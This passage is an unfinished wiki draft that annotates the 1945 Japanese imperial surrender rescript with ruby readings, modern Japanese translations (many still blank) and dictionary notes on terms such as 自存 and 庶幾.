&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：まさに日本帝国の自立と生存および東アジア諸国の安定を心から願ってのことであり、&lt;/p&gt;
==== 自存 ====
*「自存」：他に頼らないで自分の力で生存すること。
*:&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも「帝国は今や自存自衛の為蹶然起って」というフレーズがある。）&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E8%87%AA%E5%AD%98-520220#goog_rewarded 自存(ジソン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 庻󠄀幾󠄁󠄁 ====
*「庻󠄀幾󠄁󠄁（庶幾 しょき）」：心から願うこと。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B6%E5%B9%BE-533981#w-533981 庶幾(ショキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：他国の主権を排除してその領土を侵略するようなことは、&lt;/p&gt;

=== 固ヨリ朕&amp;#xE0102;カ志ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 各〻最善ヲ盡セルニ拘ラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰局必スシモ好轉セス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ大勢亦我ニ利アラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 而モ尙交&amp;#xE0101;戰ヲ繼續セムカ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 斯ノ如クムハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第四段落 ==
&lt;!--◆第四段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國ト共ニ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;始東亞ノ解放ニ協力セル&lt;span style=&quot;color:#500;&quot;&gt;諸&amp;#xE0100;&lt;/span&gt;盟&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;ニ對シ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;憾ノ意ヲ表セサルヲ得ス帝國臣民ニシテ戰陣ニ死シ職域ニ殉シ非命ニ斃レタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;其ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;族ニ想ヲ致セハ五內爲ニ裂ク且戰傷ヲ&lt;span style=&quot;color:#500;&quot;&gt;負&amp;#xE0102;&lt;/span&gt;ヒ災&lt;span style=&quot;color:#500;&quot;&gt;禍&amp;#xE0100;&lt;/span&gt;ヲ蒙リ家業ヲ失ヒタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;ノ厚生ニ至リテハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ深ク軫念スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;ナリ惟フニ今後帝國ノ受クヘキ苦&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;ハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;尋&amp;#xE0101;&lt;/span&gt;常ニアラス爾臣民ノ衷&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;モ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;善ク之ヲ知ル然レトモ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ時&lt;span style=&quot;color:#500;&quot;&gt;運&amp;#xE0101;&lt;/span&gt;ノ趨ク&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ以テ萬世ノ爲ニ太&lt;span style=&quot;color:#500;&quot;&gt;平&amp;#xE0101;&lt;/span&gt;ヲ開カムト欲ス&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;始&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;東&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;解&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;放&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;協&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せる&lt;ruby&gt;&lt;rb&gt;諸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;盟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;邦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;憾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;表&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せざるを&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ず。&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にして、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;陣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;死&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;職&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;域&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;殉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;命&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;斃&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;および&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&amp;nbsp;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;想&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;致&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せば、&lt;ruby&gt;&lt;rb&gt;五&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;内&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ない&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;裂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く、&lt;ruby&gt;&lt;rb&gt;且&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;負&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;お&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;災&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;禍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を
&lt;ruby&gt;&lt;rb&gt;蒙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こうむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;業&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;いたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;厚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;生&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;りては&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;軫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ねん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;ruby&gt;&lt;rb&gt;惟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うに、&lt;ruby&gt;&lt;rb&gt;今&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;う&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くべき&lt;ruby&gt;&lt;rb&gt;苦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;く&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;尋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;衷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&